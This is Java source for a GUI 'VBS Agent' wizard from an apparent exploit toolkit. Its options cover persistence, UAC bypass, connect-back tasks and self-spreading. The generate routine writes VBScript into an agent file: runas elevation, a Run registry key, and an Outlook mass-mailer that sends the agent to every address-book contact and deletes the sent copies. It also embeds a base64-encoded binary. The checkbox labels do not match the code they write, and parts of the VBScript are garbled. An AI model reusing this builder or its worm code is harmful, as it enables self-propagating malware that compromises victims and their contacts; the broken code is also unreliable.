/*

* Copyright (C) 2017 Gian

*

* This program is free software; you can redistribute it and/or

* modify it under the terms of the GNU General Public License

* as published by the Free Software Foundation; either version 2

* of the License, or (at your option) any later version.

*

* This program is distributed in the hope that it will be useful,

* but WITHOUT ANY WARRANTY; without even the implied warranty of

* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the

* GNU General Public License for more details.

*

* You should have received a copy of the GNU General Public License

* along with this program; if not, write to the Free Software

* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.

*/

package exploitpack;

import java.awt.Color;

import java.awt.Toolkit;

import java.io.File;

import java.io.FileInputStream;

import java.io.FileNotFoundException;

import java.io.FileWriter;

import java.io.IOException;

import java.util.Base64;

import java.util.logging.Level;

import java.util.logging.Logger;

import javax.swing.JFileChooser;

import java.nio.file.StandardOpenOption;

/**

*

* @author Gian

*/

public class VBSWizard extends javax.swing.JFrame {

/**

* Creates new form VBSWizard

*/

public VBSWizard() {

int lebar = this.getWidth() / 2;

int tinggi = this.getHeight() / 2;

int x = (Toolkit.getDefaultToolkit().getScreenSize().width / 2) - lebar;

int y = (Toolkit.getDefaultToolkit().getScreenSize().height / 2) - tinggi;

this.setLocation(x, y);

this.setVisible(true);

initComponents();

setDefaultCloseOperation(VBSWizard.DISPOSE_ON_CLOSE);

getContentPane().setBackground(Color.WHITE);

setIconImage(Toolkit.getDefaultToolkit().getImage(getClass().getResource("/exploitpack/resources/bug.png")));

if (new File("exploits/rockyou").exists()) {

jLabel2.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/uppro.png"))); // NOI18N

}

}

/**

* This method is called from within the constructor to initialize the form.

* WARNING: Do NOT modify this code. The content of this method is always

* regenerated by the Form Editor.

*/

@SuppressWarnings("unchecked")

// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents

private void initComponents() {

jButton1 = new javax.swing.JButton();

FileToAttach = new javax.swing.JTextField();

jButton2 = new javax.swing.JButton();

jTextAreaBase64 = new javax.swing.JTextField();

jLabel1 = new javax.swing.JLabel();

jLabel2 = new javax.swing.JLabel();

jSeparator1 = new javax.swing.JSeparator();

jButton3 = new javax.swing.JButton();

jButton4 = new javax.swing.JButton();

jLabel3 = new javax.swing.JLabel();

jLabel4 = new javax.swing.JLabel();

jLabel5 = new javax.swing.JLabel();

jCheckBoxSelf = new javax.swing.JCheckBox();

jLabel6 = new javax.swing.JLabel();

jCheckBoxAutorun = new javax.swing.JCheckBox();

jCheckBoxStartup = new javax.swing.JCheckBox();

jCheckBoxTasks = new javax.swing.JCheckBox();

jCheckBoxBypass = new javax.swing.JCheckBox();

jCheckBoxCopybyEmail = new javax.swing.JCheckBox();

jCheckBoxCopybymeeting = new javax.swing.JCheckBox();

jCheckBoxCopybymedia = new javax.swing.JCheckBox();

jCheckBoxCopybyautorun = new javax.swing.JCheckBox();

jRadioButton1 = new javax.swing.JRadioButton();

jLabel7 = new javax.swing.JLabel();

jLabel8 = new javax.swing.JLabel();

jLabel9 = new javax.swing.JLabel();

setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);

jButton1.setText("Attach File");

jButton1.addActionListener(new java.awt.event.ActionListener() {

public void actionPerformed(java.awt.event.ActionEvent evt) {

jButton1ActionPerformed(evt);

}

});

FileToAttach.setText("Attach a file..");

jButton2.setText("Encode");

jButton2.addActionListener(new java.awt.event.ActionListener() {

public void actionPerformed(java.awt.event.ActionEvent evt) {

jButton2ActionPerformed(evt);

}

});

jTextAreaBase64.setText("Nothing attached");

jLabel1.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/wizard-icon.png"))); // NOI18N

jLabel2.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/up.png"))); // NOI18N

jButton3.setText("Generate");

jButton3.addActionListener(new java.awt.event.ActionListener() {

public void actionPerformed(java.awt.event.ActionEvent evt) {

jButton3ActionPerformed(evt);

}

});

jButton4.setText("Cancel");

jLabel3.setText("This wizard will help you customize the VBS Agent provided by Exploit Pack.");

jLabel4.setFont(new java.awt.Font("Tahoma", 1, 13)); // NOI18N

jLabel4.setText("Attach a file: ");

jLabel5.setText("Select your binary and then click on encode, ");

jCheckBoxSelf.setText("Self destruct - Remove original file after execution");

jLabel6.setFont(new java.awt.Font("Tahoma", 1, 13)); // NOI18N

jLabel6.setText("Choose from the following options and customize your agent:");

jCheckBoxAutorun.setText("Autorun - Add the agent to the registry");

jCheckBoxStartup.setText("Startup - Add the agent to the startup folder");

jCheckBoxTasks.setText("Task ( 1 min ) - Add a task to connect back");

jCheckBoxBypass.setText("Bypass UAC - Get admin rights");

jCheckBoxCopybyEmail.setText("Copy by e-mail ");

jCheckBoxCopybymeeting.setText("Copy by meetings");

jCheckBoxCopybymedia.setText("Copy itself by share");

jCheckBoxCopybyautorun.setText("Copy itself by autorun");

jRadioButton1.setText("Reset everything to the original values.");

jLabel7.setText("After you finish, this changes will be applied to the VBS agent, ");

jLabel8.setText("Choose a file first!");

jLabel9.setText("Must be a binary");

javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());

getContentPane().setLayout(layout);

layout.setHorizontalGroup(

layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)

.addComponent(jSeparator1)

.addGroup(layout.createSequentialGroup()

.addContainerGap()

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)

.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()

.addGap(0, 0, Short.MAX_VALUE)

.addComponent(jButton4)

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)

.addComponent(jButton3))

.addGroup(layout.createSequentialGroup()

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)

.addComponent(jRadioButton1)

.addComponent(jCheckBoxSelf)

.addComponent(jCheckBoxStartup)

.addComponent(jCheckBoxAutorun)

.addComponent(jLabel2)

.addGroup(layout.createSequentialGroup()

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)

.addComponent(jTextAreaBase64, javax.swing.GroupLayout.PREFERRED_SIZE, 255, javax.swing.GroupLayout.PREFERRED_SIZE)

.addComponent(FileToAttach, javax.swing.GroupLayout.PREFERRED_SIZE, 255, javax.swing.GroupLayout.PREFERRED_SIZE))

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)

.addComponent(jButton1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)

.addComponent(jButton2, javax.swing.GroupLayout.PREFERRED_SIZE, 93, javax.swing.GroupLayout.PREFERRED_SIZE))

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)

.addComponent(jLabel8)

.addComponent(jLabel9)))

.addComponent(jLabel3)

.addComponent(jLabel4)

.addComponent(jLabel5)

.addComponent(jLabel6)

.addComponent(jLabel7)

.addGroup(layout.createSequentialGroup()

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)

.addComponent(jCheckBoxTasks)

.addComponent(jCheckBoxBypass)

.addComponent(jCheckBoxCopybyEmail)

.addComponent(jCheckBoxCopybymeeting)

.addComponent(jCheckBoxCopybymedia)

.addComponent(jCheckBoxCopybyautorun))

.addGap(0, 0, Short.MAX_VALUE)

.addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 234, javax.swing.GroupLayout.PREFERRED_SIZE)))

.addGap(0, 0, Short.MAX_VALUE)))

.addContainerGap())

);

layout.setVerticalGroup(

layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)

.addGroup(layout.createSequentialGroup()

.addComponent(jLabel2)

.addGap(18, 18, 18)

.addComponent(jLabel3)

.addGap(5, 5, 5)

.addComponent(jLabel7)

.addGap(18, 18, 18)

.addComponent(jLabel4)

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)

.addComponent(jLabel5)

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)

.addComponent(jButton1)

.addComponent(FileToAttach, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)

.addComponent(jLabel9))

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)

.addComponent(jButton2)

.addComponent(jLabel8))

.addComponent(jTextAreaBase64, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))

.addGap(18, 18, 18)

.addComponent(jLabel6)

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)

.addComponent(jCheckBoxSelf)

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)

.addComponent(jCheckBoxAutorun)

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)

.addComponent(jCheckBoxStartup)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)

.addGroup(layout.createSequentialGroup()

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)

.addComponent(jCheckBoxTasks)

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)

.addComponent(jCheckBoxBypass)

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)

.addComponent(jCheckBoxCopybyEmail)

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)

.addComponent(jCheckBoxCopybymeeting)

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)

.addComponent(jCheckBoxCopybymedia)

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)

.addComponent(jCheckBoxCopybyautorun)

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 54, Short.MAX_VALUE)

.addComponent(jRadioButton1))

.addGroup(layout.createSequentialGroup()

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)

.addComponent(jLabel1, javax.swing.GroupLayout.PREFERRED_SIZE, 231, javax.swing.GroupLayout.PREFERRED_SIZE)

.addGap(25, 25, 25)))

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)

.addComponent(jSeparator1, javax.swing.GroupLayout.PREFERRED_SIZE, 10, javax.swing.GroupLayout.PREFERRED_SIZE)

.addGap(2, 2, 2)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)

.addComponent(jButton3)

.addComponent(jButton4))

.addContainerGap())

);

pack();

}// </editor-fold>//GEN-END:initComponents

private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton1ActionPerformed

// TODO add your handling code here:

String filename = "";

// TODO add your handling code here:

JFileChooser fileChooser = new JFileChooser(new File(filename));

fileChooser.showSaveDialog(this);

FileToAttach.setText(fileChooser.getSelectedFile().toString());

}//GEN-LAST:event_jButton1ActionPerformed

private void jButton2ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton2ActionPerformed

// TODO add your handling code here:

try {

File originalFile = new File(FileToAttach.getText());

String encodedBase64 = null;

FileInputStream fileInputStreamReader = new FileInputStream(originalFile);

byte[] bytes = new byte[(int) originalFile.length()];

fileInputStreamReader.read(bytes);

//= new String(Base64.encodeBase64(bytes));

encodedBase64 = Base64.getEncoder().encodeToString(bytes);

System.out.println(encodedBase64);

jTextAreaBase64.setText(encodedBase64);

} catch (FileNotFoundException e) {

} catch (IOException e) {

}

}//GEN-LAST:event_jButton2ActionPerformed

private void jButton3ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton3ActionPerformed

File file = new File("exploits/code/" + "Agent.vbs");

try (FileWriter fileWriter = new FileWriter(file)) {

if (jCheckBoxSelf.isSelected()) {

fileWriter.append("SelfDestruct" + "/n");

}

if (jCheckBoxAutorun.isSelected()) {

fileWriter.append("Persistence" + "/n");

}

if (jCheckBoxStartup.isSelected()) {

fileWriter.append("");

}

if (jCheckBoxTasks.isSelected()) {

fileWriter.append("If WScript.Arguments.Named.Exists(\"elevated\") = False Then\n"

+ " CreateObject(\"Shell.Application\").ShellExecute \"wscript.exe\", \"\"\"\"\n"

+ " WScript.ScriptFullName & \"\"\" /elevated\", \"\", \"runas\", 1\n"

+ " WScript.Quit\n"

+ "End If\n"

+ "Create key to use\n"

+ "Function Autorun()\n"

+ "const HKEY_LOCAL_MACHINE = &H80000001\n"

+ "strComputer = \".\"\n"

+ "Set objReg=GetObject(\"winmgmts:{impersonationLevel=impersonate}!\\\\\"&_\n"

+ "strComputer & \"\\root\\default:StdRegProv\")\n"

+ "strKeyPath = \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\\"\n"

+ "KeyPath = \"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ExploitPack\"\n"

+ "strValueName = \"ExploitPack\"\n"

+ "strValue = \"%AppData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\exploitpack.vbs\"");

}

if (jCheckBoxBypass.isSelected()) {

fileWriter.append("Function Outlook()\n"

+ " On Error Resume Next\n"

+ " Set OutlookApp = CreateObject (\"Outlook.Application\")\n"

+ " If OutlookApp = \"Outlook\" Then\n"

+ " Set Mapi = OutlookApp.GetNameSpace(\"MAPI\")\n"

+ " set mapi adlistasMapi.AddressLists\n"

+ " For Each Address list In mapiadlist\n"

+ " If Addresslist.AddressEntries.Count <> 0 Then\n"

+ " Addresslistcout = Addresslist.AddressEntries.Count\n"

+ " For AddList = 1 To Address listcout\n"

+ " Set msg = Outlook App.CreateItem(0)\n"

+ " Set AdEntries= Addresslist.AddressEntries(AddList)\n"

+ " msg.To = AdEntries.Address\n"

+ " msg.Subject =\"Subject\"\n"

+ " msg.Body = \"Message Body\"\n"

+ " set Attachs=msg.Attachments\n"

+ " Attac hs.Add \"%AppData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\exploitpack.vbs\"\n"

+ " msg.DeleteAfterSubmit = True\n"

+ " If msg. To <>\"\" Then\n"

+ " msg.Send\n"

+ " End If\n"

+ " Next\n"

+ " registry.regwrite \"HKCU\\software\\exploitpack\\mailed\", \"1\"\n"

+ " End If\n"

+ " Next\n"

+ " End I f\n"

+ "End Function");

}

if (jCheckBoxCopybyEmail.isSelected()) {

fileWriter.append("");

}

if (jCheckBoxCopybymeeting.isSelected()) {

fileWriter.append("");

}

if (jCheckBoxCopybymedia.isSelected()) {

fileWriter.append("");

}

if (jCheckBoxCopybyautorun.isSelected()) {

fileWriter.append("");

}

if (!jTextAreaBase64.getText().equals("Nothing attached")) {

fileWriter.append("base64Encoded = \"" + jTextAreaBase64.getText() + "\"\n" + "binaryDump(base64Encoded)");

}

} catch (IOException e) {

Logger.getLogger(MainFrame.class

.getName()).log(Level.SEVERE, null, e);

}

}//GEN-LAST:event_jButton3ActionPerformed

/**

* @param args the command line arguments

*/

public static void main(String args[]) {

/* Set the Nimbus look and feel */

//<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">

/* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.

* For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html

*/

try {

for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {

if ("Nimbus".equals(info.getName())) {

javax.swing.UIManager.setLookAndFeel(info.getClassName());

break;

}

}

} catch (ClassNotFoundException ex) {

java.util.logging.Logger.getLogger(VBSWizard.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);

} catch (InstantiationException ex) {

java.util.logging.Logger.getLogger(VBSWizard.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);

} catch (IllegalAccessException ex) {

java.util.logging.Logger.getLogger(VBSWizard.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);

} catch (javax.swing.UnsupportedLookAndFeelException ex) {

java.util.logging.Logger.getLogger(VBSWizard.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);

}

//</editor-fold>

/* Create and display the form */

java.awt.EventQueue.invokeLater(new Runnable() {

public void run() {

new VBSWizard().setVisible(true);

}

});

}

// Variables declaration - do not modify//GEN-BEGIN:variables

private javax.swing.JTextField FileToAttach;

private javax.swing.JButton jButton1;

private javax.swing.JButton jButton2;

private javax.swing.JButton jButton3;

private javax.swing.JButton jButton4;

private javax.swing.JCheckBox jCheckBoxAutorun;

private javax.swing.JCheckBox jCheckBoxBypass;

private javax.swing.JCheckBox jCheckBoxCopybyEmail;

private javax.swing.JCheckBox jCheckBoxCopybyautorun;

private javax.swing.JCheckBox jCheckBoxCopybymedia;

private javax.swing.JCheckBox jCheckBoxCopybymeeting;

private javax.swing.JCheckBox jCheckBoxSelf;

private javax.swing.JCheckBox jCheckBoxStartup;

private javax.swing.JCheckBox jCheckBoxTasks;

private javax.swing.JLabel jLabel1;

private javax.swing.JLabel jLabel2;

private javax.swing.JLabel jLabel3;

private javax.swing.JLabel jLabel4;

private javax.swing.JLabel jLabel5;

private javax.swing.JLabel jLabel6;

private javax.swing.JLabel jLabel7;

private javax.swing.JLabel jLabel8;

private javax.swing.JLabel jLabel9;

private javax.swing.JRadioButton jRadioButton1;

private javax.swing.JSeparator jSeparator1;

private javax.swing.JTextField jTextAreaBase64;

// End of variables declaration//GEN-END:variables

}